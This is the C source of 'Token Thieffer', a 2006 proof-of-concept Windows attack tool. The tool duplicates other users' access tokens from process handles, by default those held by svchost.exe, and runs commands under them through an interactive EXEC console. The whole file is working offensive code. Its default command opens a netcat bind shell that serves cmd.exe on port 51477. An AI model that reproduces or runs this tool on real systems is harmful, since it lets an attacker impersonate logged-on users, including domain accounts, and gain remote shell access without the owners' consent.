C:/Web/tthieffer/TokenExecution/Tthieffer.c

Go to the documentation of this file.

/*
 * Token Thieffer for Win32 - Proof of Concept
 * Author: Andres Tarasco Acuña ( http://www.514.es )
 * Email: atarasco @ 514.es - atarasco @ gmail.com
 * Date: June 2006

 * Description:  This tool is able to duplicate all Tokens stored in the 
   system by calling NtQuerySystemInformation(). Duplicated Tokens allows
   users with local Administrator rigthts to execute code with credentials
   of every user that logged on to the system locally or over network.
   Default mode only extracts tokens from lsass process

 * Platforms: Tested under Windows 2000 and Windows XP

 * NOTE: If your user does not have rigthts to execute code with those tokens you should
   try to execute it with "psexec.exe -i -c Tthieffer.exe" or as SYSTEM with the -s flag
 
 * Greetings: 514 people 

 * Compiler: Compiles with Microsoft Visual Studio 6.0 + Windows Server 2003 SP1 SDK Release
   cl.exe /MD Tthieffer.c 

 * Submissions: You could also submit bugs/bugfixes and feature requests by email.


Estructura de Tokens:
http://technet2.microsoft.com/WindowsServer/en/library/d06a5070-2a7b-4e75-b7e9-ebe51f65e34b1033.mspx?mfr=true

Como funciona la delegación  
http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/distrib/dsce_ctl_awdg.mspx?mfr=true      
*/
#include "Tthieffer.h"

NTQUERYOBJECT              NtQueryObject ;
NTQUERYSYSTEMINFORMATION   NtQuerySystemInformation; 
NTCOMPARETOKENS            NtCompareTokens;

DWORD WINAPI   procesa(LPVOID lpvParam) ;
DWORD          ConsoleHandler(void);
void           banner(void);
void           usage(void);
void           EnableDebugPrivilege();
LPWSTR         GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass);


CREDENCIALES   credenciales[MAX_USERS];
short          InUse=0;
char           command[256]="nc.exe -l -p 51477 -e cmd.exe";
BOOL           SHOWALLTOKENS=0;
#define        LIMITED  "svchost.exe"
/********************************************************************/
int main(int argc, char *argv[])
{
   
   DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
   PSYSTEM_HANDLE_INFORMATION pHandleInfo ;
   NTSTATUS ntReturn;
   //LPTSTR SidText = NULL;
   int i;
   int total=0;
   
   banner();
   for(i=1;i<argc;i++)
   {
      if (strcmp(argv[i],"-a")==0){
         SHOWALLTOKENS=TRUE;
      } else
      if (strcmp(argv[i],"-e")==0) {
         strcpy(command,argv[i+1]); 
         i++;
      }
      else usage();

   }
   
   NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation");
   NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject");
   NtCompareTokens= (NTCOMPARETOKENS)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCompareTokens");
   if (!NtCompareTokens) printf("[-] NtCompareTokens Is Unsupported\n");

   EnableDebugPrivilege();
   
   pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
   ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
   
   if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
      free(pHandleInfo);
      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
      ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
   }
   if(ntReturn == STATUS_SUCCESS)
   {
      HANDLE hProcess ;
      DWORD i,CurrentProcessID = GetCurrentProcessId();
      
      
      for(i = 0; i < pHandleInfo->uCount; i++)
      {          
          hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, pHandleInfo->Handles[i].uIdProcess);   
         if(hProcess != INVALID_HANDLE_VALUE)
         {
            HANDLE hObject = NULL;
            if(DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handles[i].Handle,
               GetCurrentProcess(), &hObject, STANDARD_RIGHTS_REQUIRED, FALSE, 0x02) != FALSE)                  
            {
               LPWSTR lpwsType=NULL ;              
               lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
               
               if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") )
               {               
                  DWORD dwLen;
                  PSID pSid=NULL;
                  TOKEN_USER *pWork=NULL;
                  SID_NAME_USE  use;//=0;
                  char username[256]="";
                  char domainname[256]="";
                  LPSTR lpszProcess=NULL ;                   
                  SECURITY_ATTRIBUTES sa; 
                  
                  lpszProcess = malloc(MAX_PATH);
                  ZeroMemory(lpszProcess, MAX_PATH);
                  GetModuleFileNameEx(hProcess, NULL, lpszProcess, MAX_PATH);                   
                  sa.nLength = sizeof (SECURITY_ATTRIBUTES);
                  sa.lpSecurityDescriptor = NULL;
                  sa.bInheritHandle = FALSE;
                  
                  if ((SHOWALLTOKENS) || (!strcmp(PathFindFileName(lpszProcess),LIMITED))  )
                  {                   

                     if  (DuplicateTokenEx(hObject,
                        //TOKEN_QUERY,
                        MAXIMUM_ALLOWED,
                        &sa,
                        SecurityImpersonation, 
                        TokenPrimary, 
                        &credenciales[InUse].hToken) != 0) //|| (1) )
                     {                   
                        total++;
                        memset(username,'\0',256);
                        memset(domainname,'\0',256);
                        memset(credenciales[InUse].user,'\0',256);


                        GetTokenInformation(credenciales[InUse].hToken, TokenUser, NULL, 0, &dwLen);
                        //GetTokenInformation(hObject, TokenUser, NULL, 0, &dwLen);

                        pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
                        if (GetTokenInformation(credenciales[InUse].hToken, TokenUser, pWork, dwLen, &dwLen)) 
                        //if (GetTokenInformation(hObject, TokenUser, pWork, dwLen, &dwLen)) 
                        {
                           dwLen = GetLengthSid(pWork->User.Sid);
                           pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
                           CopySid(dwLen, pSid, pWork->User.Sid);
                           dwLen=256;
                           LookupAccountSid(NULL, pSid, &username[0], &dwLen, &domainname[0], &dwLen, &use);
                        }                                    
                        sprintf(credenciales[InUse].user,"\\\\%s\\%s",domainname,username);
                        credenciales[InUse].pid=pHandleInfo->Handles[i].uIdProcess;
                        if (ExisteUsuario(InUse)) {                          
                           CloseHandle(credenciales[InUse].hToken);
                           //printf("*");
                        } else{
                           if (InUse==0) printf("  PID   Handle  Process Name      Token Information\n");   
                           InUse++;
                        }

                        //ConvertSidToStringSid (pSid, &SidText);
                        printf("%5d\t%6.4x\t%-18s\\\\%s\\%s\t\n",
                           pHandleInfo->Handles[i].uIdProcess,                      
                           pHandleInfo->Handles[i].Handle, 
                           ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
                           domainname,
                           username);

                           //LocalFree(SidText); 
                           //SidText = NULL;
                     } else {
#ifdef _DBG_
                        printf("%5i\t%6x\t%-18s<NOT DUPLICABLE %i>\n",
                           pHandleInfo->Handles[i].uIdProcess, 
                           pHandleInfo->Handles[i].Handle,
                           ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
                           GetLastError());  
#endif
                     }
                  }
                  free(lpszProcess);
                  free(lpwsType);
               }                              
               CloseHandle(hObject);               
            } 

            CloseHandle(hProcess);      
         }          
      }      
   }
   if (!InUse) {
      printf("No Tokens available. Press any key to continue\n");
      exit(1);
   } else {
      printf(" Found %i tokens\n",total);
      ConsoleHandler();
   }   
   return 0;
}

/***************************************************************************************/
LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
{
   LPWSTR data = NULL;
   DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
   POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize);
   
   NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);   
   if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){
      pObjectInfo =realloc(pObjectInfo ,dwSize);
      ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
   }
   if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
   {
      data = (LPWSTR) malloc(pObjectInfo->Length + sizeof(WCHAR));
      CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
   }
   free(pObjectInfo);
   return data;
}
/***********************************************************************************/
DWORD WINAPI procesa(LPVOID lpvParam) {
   
   SECURITY_ATTRIBUTES sa;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   
   ZeroMemory( &si, sizeof(STARTUPINFO));
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = NULL;
   sa.bInheritHandle = FALSE;   
   si.cb = sizeof(si);
   si.lpDesktop         = NULL;
   printf("[Thread ID: %i] Creating New Process %s\n", GetCurrentThreadId(),command);

//SE_ASSIGNPRIMARYTOKEN_NAME , SE_INCREASE_QUOTA_NAME and SE_TCB_NAME //MKB  Q165194 "INFO: CreateProcessAsUser() Windowstations and Desktops "
   if(!CreateProcessAsUser(credenciales[(int)lpvParam].hToken,NULL, command, &sa, 
      &sa,FALSE, 0,NULL,"c:\\",&si, &pi)) {
      printf("[Thread ID: %i] CreateProcessAsUser Failed - GetLastError: %d\n",GetCurrentThreadId(), GetLastError());
      fflush(stdout);
   } else {
      WaitForSingleObject(pi.hProcess,INFINITE);
   }
   _endthread();
   return(1);
}
/*********************************************************************************/
void ShowHelp(void){
   //printf("--------------------------------------------------------------\n");
   printf("EXEC <number>   --> Execute a command with selected the token   \n");
   printf("EXIT            --> Close all Handles and exit Process          \n");
   printf("---------------------------------------------------------------\n");
}
/********************************************************************************/
void ShowTokens(void){
   int i;
   printf("---------------------------------------------------------------\n");
   printf("  ID:     PID\tToken Information:\n\n");
   for(i=0;i<InUse;i++) 
   {
      printf("  %2.2i\t%4.4i\t%s\n",i,credenciales[i].pid,credenciales[i].user);
   }
   printf("---------------------------------------------------------------\n");
   printf("Usage: EXEC <number>   --> Execute a command ------------------\n");
   printf("---------------------------------------------------------------\n");
}
/********************************************************************************/
DWORD ConsoleHandler(void) {
   
   int iReadLenght;
   int TokenID=0;
   char ReadBuffer[256];
   
   HANDLE hThread;
   DWORD dwThreadId;
   
   //  ShowHelp();
   #define EXEC         "EXEC"
   #define EXIT         "EXIT"
   #define CMD          "CMD"
   #define SHOWTOKENS   "SHOWTOKENS"
   
   printf("Press enter to continue. Type \"exit\" to end program\n");
   getchar();
   ShowTokens();      
   
   while(1) {
      fflush(stdout);
      
      memset(&ReadBuffer[0],'\0',sizeof(ReadBuffer));
      scanf("%s",ReadBuffer);
      if (strnicmp(ReadBuffer,EXEC,strlen(EXEC))==0)
      {
         //printf("TAMOS EN EXEC\n"); fflush(stdout);
         
         scanf("%i",&TokenID);
         //printf("Ejecutando como: %i\n",TokenID);
         if (TokenID<InUse)
         {
            hThread = CreateThread(NULL,0,procesa,(LPVOID) TokenID,0,NULL); 
            if (hThread == NULL) 
            {
               printf("CreateThread failed"); 
            }
            else 
            {
               CloseHandle(hThread); 
            }
         }
      } else
         if (strnicmp(ReadBuffer,EXIT,strlen(EXIT))==0)
         {
            int i;
            for(i=0;i<InUse;i++) {
               CloseHandle(credenciales[i].hToken);
            }
            exit(1);
         } else
         {
            ShowHelp();
         }
   }    
}
/*********************************************************************************/
BOOL ExisteUsuario(int InUse)
{
   int i;
   BOOL result=TRUE  ;
   if (InUse>0){
      for(i=0;i<InUse;i++){
         if (NtCompareTokens!=INVALID_HANDLE_VALUE) 
                  NtCompareTokens(credenciales[i].hToken,credenciales[InUse].hToken,&result);        
         if ( (strcmp(credenciales[InUse].user,credenciales[i].user)==0) && (result == TRUE) ){
//            if ((NtCompareTokens) && 
//                (NtCompareTokens(credenciales[i].hToken,credenciales[InUse].hToken,&result)!=STATUS_SUCCESS)  ||
                 //) {
//               printf("Los Tokens son distintos\n");
            return(1);         
         }
      }
   }
   return(0);
}
/******************************************************************************/
void banner(void){
   printf(" Token Thieffer for Windows (c) 2006\n");
   printf(" Author: Andres Tarasco ( atarasco @ sia . es )\n");
   printf(" URL: http://www.514.es\n\n");
}
/******************************************************************************/
void usage(void)
{
   printf(" Usage:\n");
   printf(" TThieffer.exe -a           (Show all duplicable tokens)\n");
   printf("               -e \"command\" (changes default command)\n");
   printf("               -?           (Shows this help)\n\n");
   exit(1);
}
/******************************************************************************/
void EnableDebugPrivilege()
{
   HANDLE hToken;
   TOKEN_PRIVILEGES tokenPriv;
   LUID luidDebug;
   if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) {
      if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug) != FALSE)
      {
         tokenPriv.PrivilegeCount           = 1;
         tokenPriv.Privileges[0].Luid       = luidDebug;
         tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
         AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL);
      }
   }
}
/******************************************************************************/

---